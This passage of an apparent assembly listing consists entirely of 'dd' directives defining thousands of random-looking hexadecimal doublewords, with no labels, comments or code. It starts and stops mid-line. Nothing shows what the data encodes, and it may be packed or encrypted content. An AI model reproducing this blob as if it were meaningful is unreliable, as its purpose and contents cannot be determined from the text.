0F0B52EA7h, 7D065820h dd 0E77201E0h, 0D42FF888h, 0D8CC4193h, 0B018204Ah, 9269B9FFh dd 7C41DE56h, 0A98EE851h, 0C5E02C31h, 7CE70103h, 0CBDBAA5h dd 2D4D00FBh, 0FCDB4CD5h, 69CA0B0Eh, 80010A09h, 98746567h dd 91A0C258h, 40B2606Bh, 0B903788Eh, 49CFB614h, 527000F4h dd 0F05617A8h, 1C800A0h, 0C3C07858h, 0F1009153h, 6150300Fh dd 520312Ch, 21391A43h, 99BC4F6Ch, 98ADDA60h, 270B7B17h dd 803A6530h, 595185A7h, 0D8845482h, 0A0686AA2h, 0F1FF04B0h dd 0E008C88Bh, 1E7F9B40h, 8007BE34h, 7CFBF5EDh, 394C411Bh dd 3F944C34h, 1EC48EEh, 0A4973A7h, 0E98C77C4h, 9170CAD0h dd 995F5602h, 0B0964AB7h, 11414030h, 9C1A78E7h, 9F0676D0h dd 0D827847Ah, 74F0A809h, 7480053h, 3F95CFC3h, 7E087381h dd 5A016317h, 1C94F762h, 40D162CEh, 698D9Ch, 0FF0ABCDDh dd 21CCEF49h, 0C0DCCF48h, 7D6DB8D7h, 58910097h, 0C8AB8380h dd 31262038h, 10020465h, 6993BE26h, 0CFC44CC4h, 0B2AE0083h dd 66B69C8h, 544C4E2Ch, 0C00E8010h, 0FB5142h, 26FF315Bh dd 2F22885Dh, 49008471h, 0C4CBD766h, 0FD8607h, 57326145h dd 41E3DE74h, 0A78C504Ch, 362F79E1h, 4004F880h, 0B450B166h dd 509389E8h, 99ADD300h, 4CC1CDA6h, 0F4C05853h, 2E6E38AFh dd 0B9E0105Bh, 250E3D67h, 2AB0F9Fh, 53F8120Ch, 544314C8h dd 713A9800h, 782D1517h, 0BEDF05D7h, 0C42437A7h, 7548CC58h dd 0A9908700h, 0A4E20463h, 841F499Ch, 3BD34000h, 0BB9662A1h dd 0C09EB018h, 407D63B1h, 670C4E31h, 0E8D6E2D7h, 0C6CD03A2h dd 44461FA1h, 1EFDCEC0h, 6601409Ah, 1DEFC973h, 0A834B76Bh dd 0F55C24B4h, 0A74E8008h, 7655CB78h, 29608801h, 8A4C407Dh dd 871CBEFh, 5C15A431h, 89B60702h, 0DA204097h, 7AA0093Fh dd 508160C0h, 80C2E3A8h, 272B7959h, 0B7257DF5h, 8088EB70h dd 2161FE0h, 0C70173DCh, 0E6794F0Ah, 0F957E080h, 6947E4AAh dd 720051DEh, 53B84428h, 3908A885h, 3D8F424Ch, 809F0009h dd 55524251h, 4B8D019Eh, 974AB648h, 88882461h, 8038B739h dd 0C77DC2Ch, 243D3Fh, 3AD02AD2h, 0A08AC387h, 7AAB3609h dd 631A82C8h, 80285396h, 0EB7531A6h, 19C08907h, 0C6E7FDD6h dd 0DC775C1Bh, 0AD602470h, 456501D0h, 6438B4F0h, 44751C44h dd 0D297F600h, 0DD4AD427h, 7471F721h, 880A8C9h, 0ABC54379h dd 0D103BB52h, 0D9BDA95Ah, 4E90B253h, 0B7152020h, 0D493C880h dd 0CFA2FCA1h, 0C89079A2h, 77783FE4h, 7508E258h, 412803Eh dd 9A98148h, 49C3A3C2h, 9C47709Ch, 0A2C54721h, 20082841h dd 888C70h, 0D0569DC2h, 8A50EDE0h, 890099F0h, 57334CB1h dd 522962E9h, 0B6153001h, 762ABC7Fh, 7E990048h, 37D48287h dd 0FA718CA1h, 0A9809B03h, 0C08D9085h, 90AA7513h, 8BE24C08h dd 0E0E871Fh, 7DE04DFEh, 2F4ED7E6h, 19D29E00h, 0B489947Bh dd 0B6310108h, 8493686Dh, 77202246h, 5672A800h, 1008C37Bh dd 229EC048h, 2BA0B94Fh, 469DE100h, 77FE4C0Fh, 0AD2D007Bh dd 315043F9h, 2C007DCDh, 1BE7EBFBh, 39F39034h, 0CC81CF5Fh dd 833600Fh, 80AC4539h, 9FB0A910h, 37B4906h, 3194317h dd 1B6D9DFBh, 80FC5C53h, 79291B5h, 55B33701h, 9B256786h dd 94076DCh, 24D8D044h, 0C71A7401h, 91028D7h, 0FF5ECCB1h dd 5CD2A500h, 87005AEBh, 4DA276Eh, 0C500843h, 0F3E11E23h dd 8500FE30h, 39BAE3F0h, 0AD0F82h, 54ABEDF5h, 48912B24h dd 0F44E412Ch, 0A7062180h, 39AC43h, 32A85314h, 483472CDh dd 286FB415h, 0C5F8004h, 573A4A3Ch, 78A40C0Fh, 2307DA30h dd 0F829E0D8h, 0C78479F0h, 0AD6EC64h, 0E313A210h, 48B3080Ch dd 1042F042h, 682086DFh, 1C4808C2h, 571E2F31h, 9531FF98h dd 430CA114h, 0AAF43053h, 65DB22FBh, 62E15810h, 0C1A73134h dd 153B2481h, 3F318A46h, 360A0C9Bh, 0EB0A48CEh, 991E244Ah dd 37540CA8h, 0B222E418h, 0C0232845h, 0F687280Ch, 0C14F6518h dd 347C820Ch, 20F3AC87h, 10C4990Dh, 0B1493900h, 2E6C580Eh dd 0A1660001h, 0D56D7402h, 1428844Dh, 0A526F0B0h, 86005D91h dd 0DF3572A9h, 6CFA0E5Eh, 6BC36F02h, 9FD93348h, 994AD06Dh dd 0E1AEC200h, 815F4904h, 1C7B90h, 0C36F39E0h, 0D7199F7Ah dd 4D7E1200h, 232CEAA3h, 5274CFh, 20E38E5Bh, 0FDF3F42Ah dd 57663700h, 0C5DF6B61h, 0DBF103D6h, 0C1F02CF9h, 6B12080h dd 0EA848900h, 518C701Ah, 0EF7B03h, 0C849F4F1h, 3A485A9Ch dd 555EA71Dh, 5B90A003h, 56DCE83Fh, 0F0CE878h, 432F9524h dd 8F034980h, 530152B9h, 22454197h, 1C491173h, 1232F360h dd 0E7123h, 0DCCCB698h, 0AB01F246h, 896496C4h, 4C202AE6h dd 0EE05009Fh, 39FE01A3h, 0EB2E72D8h, 6D0040ABh, 0E152F213h dd 38D60443h, 804B64C2h, 0C0EE6BD0h, 8A5B0A1Dh, 45D00D00h dd 0E539D171h, 3A9F299Ch, 261D0800h, 0D95F5575h, 0BB7D8401h dd 0CACB0E6Dh, 1A824D0h, 0EB29D474h, 870DF2CDh, 0AC5F33B8h dd 8139A470h, 0B65E2ECh, 6EF0D217h, 0E7AF3280h, 5300CDABh dd 0EB1FE33Ch, 9BCBBDh, 0D0F46C3Fh, 8A99BE85h, 2B56FF00h dd 0A6DB0E57h, 0F79200DCh, 6D99B18h, 5201073Eh, 0FA622E3Ch dd 0BDC45F56h, 0F53B0033h, 8B43F78Ch, 42143652h, 0BC587713h dd 0ED4823F1h, 0A51A7950h, 25B5804Ch, 26DD1E5Eh, 0C51C107Bh dd 4A4129E6h, 616F3D58h, 0C4CCF4h, 0DEF2607h, 0A87F623Eh dd 0FF81AA1Fh, 362875C0h, 0D84A359Bh, 0E8F33050h, 9C1617F4h dd 0A1E3358h, 0EBBB7A80h, 521B0h, 3432A6C5h, 19F59EC6h dd 0FA52300h, 9DB2B755h, 0EE3B0030h, 7748AF22h, 0C6186BDEh dd 32B03875h, 9B7587h, 667F9086h, 53C06897h, 0A1D8E300h dd 0D5E4C239h, 54520938h, 9A006F1Fh, 64CFFB74h, 92A15D01h dd 6C2CE7D0h, 0B93848D6h, 0C6C7009Ch, 9A4F1121h, 0F6523B76h dd 0BAB8ACh, 2F658A53h, 3315CC49h, 0AFD15E09h, 0D0943BCDh dd 190D0CE7h, 0C6D9A23Bh, 0D8CEF4ECh, 0C0445FF9h, 6CDEB069h dd 0D89E0361h, 80740333h, 0ECD1C4D3h, 342625h, 1372566Ah dd 0E15E43Ch, 0ECAD758Bh, 82F90240h, 0E891A870h, 91871ED8h dd 79E0EEDCh, 2632AAA6h, 0CD565501h, 86AB967Ah, 1C8494F2h dd 0C0C013A0h, 76F478B4h, 6200EDD1h, 0D515594Fh, 680CA6h dd 0F1B30FA1h, 0CF19E811h, 3B4C5600h, 0EEC0984Eh, 4F61024Ah dd 25D67417h, 765D6840h, 5B89F700h, 0E090801Ah, 0F960138h dd 0AC62354Dh, 40D04DBDh, 3A7C2064h, 0D96CC304h, 0CF2B6D2Ah dd 3FD54442h, 43308C8h dd 6C506121h, 5DBDC0B9h, 6B0090A5h, 0EED41070h, 127F131Fh dd 2BDAA159h, 0BDBF8F0Ch, 6D36E300h, 91E9F5ECh, 0E60E0004h dd 0AB11053Eh, 2B0AAC79h, 0FC3DE279h, 7E3F0955h, 7F053680h dd 75529D0Ch, 82423FF4h, 9E8A5ABDh, 3A809C43h, 7F34256Ch dd 0C028DB88h, 0AC68483h, 29C4ACDFh, 7901B45h, 61CF8EBEh dd 30106E52h, 17068674h, 72E621F6h, 1488F030h, 10E52604h dd 21C1FD02h, 2C436BB4h, 0F4D9A0C0h, 66BAC318h, 113810h dd 0D210E2C0h, 79F328AAh, 3998B8EAh, 5377BC02h, 60FE3DCEh dd 0D7F5F9h, 0FC104ADDh, 83F3361Ah, 0A51C8F90h, 59002C81h dd 0BA58C4BCh, 0C94D0008h, 96798E0h, 7800872Dh, 77FE3C1Fh dd 2D52755h, 40759CD9h, 90E0AFABh, 0E6048DC4h, 34CB33DCh dd 5D73EB80h, 4C11187Dh, 0EFBC48EDh, 0CB788300h, 0D5AEFE56h dd 0C7A47840h, 40524EB8h, 0E05FB3B7h, 68D92700h, 9B072A4Fh dd 0F67571h, 5814C10h, 691BFE9Fh, 0AAD98F0Eh, 7FF767BDh dd 61190CD0h, 60747B64h, 0EB94907Ah, 8D1EC55Dh, 42BBDA5h dd 89E66040h, 8BAC033Fh, 4775282Ah, 0E3A19AEBh, 7CBF20D6h dd 71BDA8C0h, 147F1D76h, 0B77AB830h, 3DD3E500h, 9A50B10Fh dd 27E7D71Dh, 0FAD22D80h, 3E3665h, 44C34C97h, 0AE4B8C9h dd 0D8DAF600h, 66706848h, 56769Bh, 0B8C769A8h, 535E1FA2h dd 149E7400h, 0F977CD2Dh, 8DF309A3h, 0EC07B2C3h, 80DAE715h dd 478FD245h, 21257704h, 0A9C17359h, 0FDF8A1Ch, 610E7F8h dd 9A031720h, 0C70FC2E4h, 81ABE30Ch, 0AC131B0Eh, 7DBF53E4h dd 6D061245h, 32D009Ah, 0EC882E4Bh, 9554D73Ch, 6605B1Ah dd 4D965FCCh, 96162B9h, 9080D672h, 9DCB7684h, 8552D200h dd 0ED5E09D0h, 3A3502F9h, 0D5D9C332h, 97418C80h, 467455DBh dd 0C1920300h, 98C5E82Bh, 40FD00A0h, 2048EEB8h, 0FE039B14h dd 0F1042EAh, 0A80EC324h, 68C178Bh, 0C12DFFC9h, 1F002870h dd 738E427Eh, 1E4F2584h, 472B5288h, 10C86650h, 652C0C51h dd 7D03DBF6h, 0BB623C3Bh, 6CFE889Ch, 5B8F00A7h, 0A0F039E9h dd 23007DE2h, 35D52D91h, 31D4F656h, 63400549h, 0C453C8FCh dd 5E586700h, 83C93C7Ch, 0C8760FF7h, 0B340668Fh, 0BFDCAD9Ch dd 187BF200h, 0F89863E8h, 503B000Ch, 95F0C8A8h, 56015196h dd 0AAFF92A3h, 808060DEh, 77860650h, 0ED0790FAh, 411C8ECCh dd 8CB95880h, 0E2940056h, 1D5F9EB1h, 0E1003F84h, 7919A48Ah dd 1E2738A1h, 0C0ECC742h, 2EEAAEDCh, 0D66026Fh, 6587779h dd 0DE7CE993h, 8300797Bh, 37503A5Eh, 103BE0Eh, 24279822h dd 0D09299C5h, 0AC00BC83h, 2D909AE1h, 0FB1831h, 0C682E013h dd 5E485040h, 2C96A000h, 761C27EEh, 0D7F40Ah, 3A5C77FFh dd 707F83A9h, 22119300h, 87FA7504h, 0E825298Eh, 8C285250h dd 982A0050h, 0FD6A9D5Bh, 8791131Ch, 27996200h, 233F2E7h dd 0C972CF5h, 0EC97FBC5h, 60011D08h, 0C1A5DDD9h, 390E9A74h dd 20D0C9CCh, 82279CC5h, 3CF74820h, 7B80673Eh, 0C42512A1h dd 892AEAB3h, 8202646Dh, 0E18EDA32h, 507E19A9h, 0BCEE88B4h dd 41D9ED00h, 0B3982542h, 7A551202h, 0D71823C0h, 3534F898h dd 19AC9750h, 0CEA02407h, 52807B3Ah, 4CB56196h, 3100F43Eh dd 0C101F2EEh, 4D00D8D1h, 0E7B05448h, 18AC52h, 0F53FE029h dd 0C9C0853Bh, 4FF9190Ah, 0F032C34h, 41B204BEh, 94F92C51h dd 0C4F92080h, 0A2AD332Ah, 32240600h, 4FB38D48h, 58D00276h dd 1A1BE5BDh, 7E8B443h, 55517B4Bh, 0DA11CCB9h, 2BBF7100h dd 34AD1EE6h, 0B112064Dh, 3043B393h, 4B963C00h, 73D7E39Dh dd 0CF2300C0h, 0A72595A8h, 8E29FE9Ah, 6280E0A4h, 812AB4F7h dd 0C370861Fh, 0E6ABD980h, 9FFD09D7h, 9E034716h, 0A5B01EEAh dd 50016E18h, 7FA7E303h, 0B5C8983Fh, 89E400E2h, 0A38B4E74h dd 491C8CE1h, 0DBC128A0h, 0A14DF38h, 0E8C9D980h, 8DA5F44Bh dd 9E5F9F01h, 456091B2h, 4CE0C980h, 66F951E3h, 0C839500h dd 0A6F9F69h, 186E1814h, 0E8224831h, 1948D074h, 0D3C58014h dd 11D998F2h, 0CF92A177h, 0E8007FBDh, 16DBACDCh, 6E380009h dd 99E3A3E1h, 1F00CF12h, 8AF7CD14h, 7B1A3D1Dh, 9C370AF4h dd 1AFB3E7h, 0D61105Fh, 0E1ECC908h, 18D0E881h, 527D1104h dd 882AA8Ch, 1344CEEh, 38892096h, 0EE2675ABh, 3C02084Eh dd 434DC11Eh, 0B0B9C0E1h, 54600D0h, 0C076AB9Bh, 0B7121335h dd 9401F35Bh, 3A03EA2h, 0ACDA44Ch, 0B07031BBh, 0A421A0h dd 49271739h, 0E3006FA9h, 0B7CA31Dh, 22606C3h, 730E24E1h dd 0D86A6570h, 0BC840C97h, 6A202BFDh, 0F4009F60h, 5BCD3FB5h dd 0B08CEh, 32FAC63Ah, 0F071EF6Eh, 802DAE3Dh, 9F91656h dd 12277ADFh, 303A7650h, 0D015D198h, 8B933D14h, 95B2C490h dd 0BDDDD300h, 0A300BC35h, 0EFC25CBEh, 2936A9B1h, 2845616h dd 3F5308E9h, 7FD03440h, 22B6B10Eh, 0A7882907h, 3544C8Ch dd 96D3D120h, 1511F9E2h, 0C2007C01h, 41526391h, 110370E8h dd 0EEA72716h, 0C4F6A065h, 4D698D2h, 0ACA1E3CAh, 0F13C8858h dd 1F1DEAFCh, 8E4043B7h, 0A87F3EC9h, 0D27467h, 142175BBh dd 0B623BE04h, 0E87C6B01h, 68FDA639h, 141CA836h, 0B13F8464h dd 54A3107h, 0AEBD9600h, 9EEE8773h, 0CCB94B00h, 0AC7E5AE2h dd 46D100B8h, 0B344A8BCh, 86B8389Ah, 0CAF8A100h, 24C176B1h dd 90B63BDCh, 1520C0B0h, 3300B76Fh, 76740266h, 505B22h dd 68A9D9F9h, 0C56ACD41h, 0FA798700h, 8BA5340Ch, 0F95C0097h dd 0FF4DE86Fh, 69000847h, 41A7C6FEh, 0D80EB7h, 5E16E5D5h dd 0B662ADE6h, 6B926700h, 6FF89E85h, 0E7E400ACh, 0D44026D6h dd 0C400839Ch, 0BC55B24Fh, 0F26003ADh, 0E3530030h, 67452CDCh dd 0A51B8F3Ch, 0B3783341h, 0B98664h, 0ACAAA459h, 4C7E83BEh dd 3716C000h, 3D0F30E6h, 8F010024h, 0AA91A114h, 930640CCh dd 0FF677D0Eh, 36210040h, 2CC8E698h, 8214ED71h, 18CB6F2h dd 1A8CF0D9h, 6EF0B2FDh, 19800654h, 20B4CC87h, 34FC9300h dd 0A683C865h, 33700Dh, 0CBD5648Dh, 0AD9010CFh, 4FA56600h dd 0D7E46952h, 42D81F24h, 32870046h, 57668EEEh, 0C017D0C0h dd 0F8031936h, 0EAFD0E3Ch, 0F1856947h, 0AA9800A6h, 38197C58h dd 5CBBCE1Fh, 5490D700h, 22275D3h, 2C298C71h, 0E08F68D0h dd 9E10DD00h, 0CD008D2Ah, 0E8F103E3h, 548B3DFDh, 7139C54h dd 0FB81EBF3h, 0E6CEB0E4h, 0DAE9B071h, 733D8CA3h, 0F5995AA0h dd 1CF40228h, 9F840401h, 630F88Bh, 0DDC5B0E7h, 29950317h dd 0FD929E6Eh, 0FF075FC0h, 3870F82Ah, 0D64CD202h, 18B217A2h dd 47005F58h, 1EE20BCh, 74F0B486h, 46BD009Ch, 3B157DAAh dd 0FB09CE10h, 21239F85h, 0F825B700h, 305077D5h, 46C6907h dd 745FC506h, 18D46E3h, 78C10020h, 2B6DBFEDh, 992AE508h dd 0D0E0F4E8h, 0E27913Fh, 36D84C8Bh, 83E9ED0Bh, 1DA6AC08h dd 0C0AB4341h, 259B2D93h, 0F3CCE8Eh, 0FBCB80A8h, 0FDE90917h dd 907406C5h, 0A8BDAE66h, 0ACD70F00h, 773767CFh, 0CD542492h dd 403C1240h, 0ACD5E7B4h, 1C018769h, 884DB9FBh, 709C02D6h dd 0BA71805Ch, 0D1C98972h, 35597904h, 2083517Ah, 0D24AA03Dh dd 0D8705471h, 89030012h, 41A65827h, 0AF7AEFBDh, 5D440807h dd 0FC607EBFh, 795B8C47h, 2050061h, 2F45D4F8h, 66099349h dd 519F15h, 2401D954h, 0D6705CF0h, 37973804h, 0C98C8AEAh dd 333C84C8h, 5A8E8C90h dd 3DEE831h, 0AA3BAC1Fh, 2000D3B8h, 0E1141D4h, 2D6542Ch dd 1357671Ch, 0A082F932h, 0C61863D9h, 49730841h, 0F85867F4h dd 0AE7A1Ah, 0A95752Dh, 86AC6DDAh, 294A4E00h, 9CA5683Fh dd 74BA15D1h, 0DA80CC95h, 142D3F48h, 8932421h, 6C0B752Fh dd 8F580064h, 0ECE9C0EBh, 0FE71263Bh, 745E8038h, 0A0F1650Eh dd 5AA4D201h, 5357CEDDh, 0A599A440h, 7E70126Ch, 90F44241h dd 0E108C6Fh, 0C110293h, 0F5C03722h, 41DA2622h, 43020DCh dd 0A2CF03A8h, 6EBA6574h, 1DB3C123h, 5ED28278h, 121A5024h dd 9910688Ch, 0E7F0004Fh, 0D70C7DC1h, 0CF48B463h, 8B421CA4h dd 0F955B0B0h, 86D52968h, 253C5954h, 0A4A980C0h, 5B2C57C5h dd 58FEA88h, 468A342Fh, 0F5F80B9Ah, 0A91F4020h, 26005DB1h dd 871A55A5h, 31365F42h, 6FD1A0F2h, 0C4404A89h, 3C3031D3h dd 5D003962h, 0BE68511Ah, 494A7E05h, 0F9035CC9h, 5C9C3C71h dd 0BE4EB7h, 0F50A25D3h, 3F010243h, 0FBCDE34Bh, 13C1C178h dd 0EBB813EFh, 265C6BFDh, 0FB00918Ah, 3AF815E1h, 74A40019h dd 0D16F1F9Dh, 9101B32Ah, 0FBD2400Ch, 0D4533A0Ah, 0F0F3D87Ch dd 7E57045h, 0CF35C686h, 0DD8181AFh, 0FF3C20F4h, 6937961Dh dd 54F1C9h, 0D92459D0h, 160F001Bh, 9978175Ch, 3E00CB87h dd 71121F91h, 0AB27A4h, 58E636A8h, 48C3E84Ah, 35FF8800h dd 998B7239h, 8C5B0010h, 2F9D0264h, 45079C8Dh, 3617186Dh dd 27CD35F0h, 86A607F0h, 83344ECBh, 87C1C2Fh, 8CB5C600h dd 9B21CE41h, 955B3071h, 73D69ACAh, 9D029E7Eh, 344727CAh dd 129C81DAh, 55F8F5D1h, 0F9670007h, 0E2DF83Eh, 0E80026C3h dd 8D9902BAh, 0D16A7Ch, 937BD913h, 0DF1E23AEh, 0A274EA00h dd 6A7A0ABBh, 5DE15CF8h, 42319230h, 6D1E1E76h, 0F343E458h dd 0E049B35Fh, 0E12ABD7Ah, 65C1D8h, 71F82BA7h, 978C86A3h dd 11C06490h, 9BB69D85h, 0E8313C23h, 8DE3C800h, 4B1C12B3h dd 202A56h, 855E761Ah, 0A1E95039h, 59615318h, 58881409h dd 0B140D93Eh, 0F8738DF1h, 0EA4B0CB3h, 6008A439h, 430BE56h dd 4F6CE11Eh, 90133918h, 8A485D1Fh, 4C2B601Dh, 0D89670B1h dd 0BAE2331Ch, 4FEA4908h, 0A20ED11Ch, 0D32B38D1h, 0DE9D6878h dd 0F3802151h, 4A493804h, 9A3D6539h, 1EA8C7AAh, 0DCCE149Ch dd 938E3438h, 4E4AA019h, 0E31611A0h, 30AAB3C6h, 6250CA56h dd 987F6E60h, 7DFF5364h, 518AE1Ch, 0D2E1EC1Dh, 0E7CC42BAh dd 44B8761Fh, 0EE11B162h, 8A203B48h, 10841301h, 1BB96A4Bh dd 0C6941420h, 48E3EA08h, 70B3B485h, 9051FA31h, 80923324h dd 0D0A07A4Ah, 0C948780Ah, 0CA2B1D60h, 0BFD3153Ch, 3C168548h dd 98D32431h, 94C12A01h, 1494A789h, 74C8E1AAh, 20B4B931h dd 96E26302h, 0DC911150h, 33F3870Dh, 873A0DAh, 3AAABE88h dd 217893C1h, 1EA0C88Eh, 88B0CA86h, 98C3BBFEh, 3138124Ah dd 0A08D010h, 89EA00C0h, 6F0490D6h, 0B30908A7h, 6F6A2802h dd 0F10ADC96h, 3C303223h, 1048B384h, 0AA10CC11h, 0D86A188Ch dd 83B22A88h, 191F93E3h, 0F829B733h, 98B51EE2h, 0C44D536Ch dd 930F7461h, 683729E0h, 0ACC358A5h, 7C8BA4BFh, 0D8E9B062h dd 309BD891h, 1F017354h, 9E8A4B2Ch, 745D49ECh, 0A6868888h dd 3213394Ch, 79C8B35Dh, 70B17067h, 2035E0B1h, 0C6333800h dd 0AA78099Eh, 88BCBD6Eh, 0ACE40D06h, 13386DF1h, 381F24B3h dd 930CCA1Ch, 288A37CEh, 0EE9A1553h, 72C03049h, 95CCAFE5h dd 0AA56F9C5h, 30B4980Dh, 0C7E2C1Ch, 0A63A5CEBh, 6092D6F1h dd 5C91767Fh, 0BF468BC0h, 7874A01Dh, 0C01099EDh, 43469294h dd 33D329C2h, 5BC9CC3h, 9B3EF05Dh, 702890C1h, 3CAE7B76h dd 3D1023FCh, 9300B116h, 4A7B7762h, 7448DF9Ch, 0E280B7DCh dd 0A8C6F27Dh, 0C5D6ECACh, 1F364CA8h, 0EEBD288h, 6094F820h dd 4D97D9A0h, 5371F462h, 4A08C8D7h, 280AE85Eh, 24A8BB11h dd 7044EBD4h, 0E1243E50h, 8F46402Fh, 4C348EA8h, 281525D1h dd 31BC06Bh, 842A0D4h, 4DE2804Ch, 51283F72h, 60EFC0B2h dd 788A90D8h, 0D753156Ah, 0BB9D87F4h, 388CA427h, 0B06431D3h dd 4E5E63B8h, 0A6D917F4h, 0CC7F8D0Ah, 1CD6F48Bh, 0C3E6061Ch dd 583537B2h, 244F9329h, 4CD49182h, 0B384A112h, 488935AEh dd 0B89C37F5h, 78DADE09h, 538821F7h, 7423356Ah, 4FA1FC80h dd 1B88A60Ah, 150A539h, 53EA0EBFh, 0A813022Ch, 0BFE028E4h dd 543D2738h, 98E9AC33h, 47EA3CE0h, 0A07F8DCCh, 0A3BC2AACh dd 0D58BA3CCh, 9F27BC83h, 7BE03C4Ah, 0CE30A536h, 78F8D3C9h dd 0B64CDE6Ah, 40A4316Ch, 88509AAh, 3837D88Ah, 0DE0595F8h dd 0B1EB24A6h, 3E41C404h, 0D02D4CEh, 47D495Eh, 29F0C4A3h dd 3C586814h, 0D47A050h, 27C230E2h, 2A6AB330h, 0C01FF0C4h dd 0AC0574CEh, 4229E79Ch, 59C653B8h, 8BB41C40h, 721FB8CFh dd 9CCDF004h, 5D34480h, 918A017Ah, 622A77CBh, 0D6EAD088h dd 744BB02Bh, 0DB33981h, 0E85196ACh, 0EC20E7EDh, 0CE4818h dd 0F0F14D14h, 813C416h, 0A052930h, 0C80262Eh, 3877F53Bh dd 68E387CAh, 6AC082C8h, 780C9775h, 10CC7B2Ah, 79CD7C4Dh dd 0A896630Ah, 1032D119h, 0C3E8211Dh, 0E943FAD8h, 119075B4h dd 0BED841D4h, 89CD0AC0h, 0B659AC78h, 0A83DDDF0h, 0ABAB13FCh dd 74E8F194h, 161838D0h, 4A6B0A7Ah, 3A8C5C94h, 0EAA8E530h dd 0A894EE8Ch, 0BA92DC26h, 0F9A99070h, 801B7D53h, 0C0A09C33h dd 0CA800F6Ah, 4AF71DC3h, 74E9402Ah, 70BDD0AAh, 424CBCE8h dd 6162185Ch, 98DB5C90h, 93180314h, 3B5BAA4Ah, 2C85082Ch dd 0FA885178h, 0D38F4035h, 5058CF33h, 8A780B04h, 0F4029054h dd 0C0838946h, 4AA1CF23h, 70C444C7h, 0B87B3C28h, 12A65120h dd 0A6247F3h, 0AFCC184h, 0D983ACAh, 0E3C82CAAh, 5911E4C8h dd 7CBD772Fh, 0C01D3Ah, 1373A999h, 0C87C4A79h, 4AAB919h dd 18BCFE10h, 4243520Fh, 7EC8884h, 99811AEFh, 2087D612h dd 0C03EF353h, 39499690h, 10F5E533h, 0B9080020h, 0F9130232h dd 423E52C3h, 0FD5BC19h, 8F3339D9h, 1FCD8F99h, 0F928AB1Bh dd 608C58C4h, 1D306107h, 1911443Eh, 4D08873Fh, 2605C307h dd 860AD019h, 60806A08h, 13CF3FF9h, 48DD9939h, 851C80Ch dd 770962Dh, 43498CFFh, 0D81824A5h, 0A7386EE4h, 9428CC6Dh dd 2D667908h, 1930EB21h, 388B1B99h, 1848BC4Eh, 0C9202319h dd 0A338CD77h, 7072E008h, 0F443C0C6h, 5C803E70h, 50B45939h dd 87BC628h, 0D691139h, 0D882AE99h, 80AFF707h, 0F910935Ch dd 0A4DE5015h, 0E8AA78B3h, 0F8DD78AEh, 9918C384h, 281FBCA8h dd 3917E041h, 5C30DA19h, 0D59208Dh, 0F3C5F058h, 9661D9E8h dd 0A5EF928h, 8C8C043h, 0DCA13908h, 2076B20Ch, 8786080h dd 0D9108D8Bh, 68910F31h, 99E08EE2h, 586A60FFh, 7C2C93CEh dd 4800CDFEh, 0F0D89770h, 8BAE6FDh, 73D76364h, 0F9F88B18h dd 2828929Eh, 37F4F7DDh, 0A6181F69h, 1C3228EAh, 437098E9h dd 82D3E240h, 81BCB9BCh, 0F60279E4h, 40E72820h, 406426D6h dd 3C812338h, 188CA259h, 0D908F019h, 68C5D17Eh, 0C01487E2h dd 0FBD040C1h, 120CB63h, 0AD183A61h, 0D1EC98EEh, 80DF8A50h dd 2031509h, 84283D50h, 30819DD4h, 90248839h, 0DC4350D3h dd 103B648Ah, 19248037h, 8C96B33h, 0FF242FECh, 24A23020h dd 4989EA10h, 9948CAF8h, 58773710h, 2870E443h, 0FC986220h dd 499500C0h, 3DBEAA19h dd 1EFC1F9h, 0E88CFCDFh, 44A00691h, 0B910C905h, 0CC057F5Dh dd 0F8097194h, 4180FF3h, 0C81D4AFh, 51E3DB5Bh, 11E01CC8h dd 4AA8A0D3h, 0A228CAA5h, 0B82B3CF0h, 204381ECh, 0F340D5h dd 98BBB283h, 0C922F214h, 81EA2E8h, 0AB17C704h, 2306EE89h dd 5976C818h, 7988A767h, 482278DCh, 0AF14308Fh, 1F852096h dd 63DA808Bh, 430A648Dh, 343DC13Eh, 0E33B40EFh, 0E58C64D7h dd 0A12D4ED4h, 70308480h, 9836219h, 0B0825762h, 0F885ED51h dd 35E446ADh, 954C1077h, 936A7C6Ch, 1B143808h, 741526C4h dd 8F46288h, 0D0229427h, 744BFC82h, 4604CF9Ah, 18769444h dd 80F49909h, 74982039h, 81961931h, 208CCC0Bh, 283860DEh dd 1266789Ah, 4D31C809h, 61247810h, 0C1123A88h, 22080D5Dh dd 4CFC0538h, 0A8091F50h, 0D9132890h, 5C068ABAh, 4DE06B60h dd 687B783Fh, 3EC82970h, 0F06DBA19h, 7970342Ch, 301411CCh dd 84C05159h, 0C6199AF0h, 185AAC48h, 0A035B731h, 94417567h dd 0E88C3788h, 0D9687D3Dh, 0F31E28DFh, 7CD818B3h, 11DD6208h dd 9903E9A3h, 7FB0264Ah, 105B9198h, 21025D5Eh, 0E89912C4h dd 0BB199460h, 59206C90h, 0E3F92479h, 0A3343E78h, 0DE6CC008h dd 613A4B9Fh, 312B0F52h, 4D6B0755h, 7C2110ACh, 2D8B0054h dd 1FEB7133h, 0AB377270h, 0D883187Dh, 0FA300356h, 5C4B7104h dd 0EF2B080Fh, 150B0201h, 7380222h, 0E023BD03h, 0C005138Bh dd 72E15150h, 74F4CD2Bh, 9663A0F8h, 0C07CE808h, 7C3CB0Bh dd 8F3B2BA3h, 216E7372h, 0B03E6873h, 0FE191D74h, 2CA3033Ch dd 743D8B9Eh, 3BEFE20h, 0CC50B72h, 44F8AE8Dh, 0A479A2A9h dd 7A32620Fh, 9135C231h, 0BECC380Ah, 3E934E01h, 0A3F0D5C5h dd 3548F081h, 8ADE2B9Eh, 1C696BB8h, 15ACD460h, 588F60C1h dd 9E378BF5h, 0AD054B77h, 2001EB72h, 5CB88005h, 0D54901Fh dd 72EF8120h, 1EAE8FDh, 98588195h, 12D1B838h, 0C38CA3FCh dd 0CE0AE596h, 0D339DC6Eh, 0D4E40044h, 3F9B373h, 0EBB531C5h dd 8F341C49h, 3DD8FC0h, 0E5F5F66Bh, 6AF12070h, 8980FF53h dd 725AC955h, 0A4AEBD8Bh, 0D174410Bh, 0C6FA00E6h, 0F24D8575h dd 7BEF28ABh, 33F03DCh, 6198EBAAh, 0FDAC1818h, 0CD0B548h dd 0AEEC6BA3h, 0AF7444D0h, 842EB36h, 104C6498h, 9046448Dh dd 0DF980081h, 0D09EB089h, 8A430402h, 203F0041h, 0BD3EAB28h dd 5E30788Bh, 65F8701Ah, 0F5CB309Fh, 0E5F0B08h, 9763BCA0h dd 0E74280C2h, 39E49672h, 4600AFD7h, 15C69A1Ah, 0A33AE5D1h dd 3032248Bh, 72E8A406h, 88F26550h, 9C61F5Ch, 0C1C3308h dd 57CAFF05h, 9407552Ah, 0AA010135h, 2421BF0Bh, 0E102C00Bh dd 80078289h, 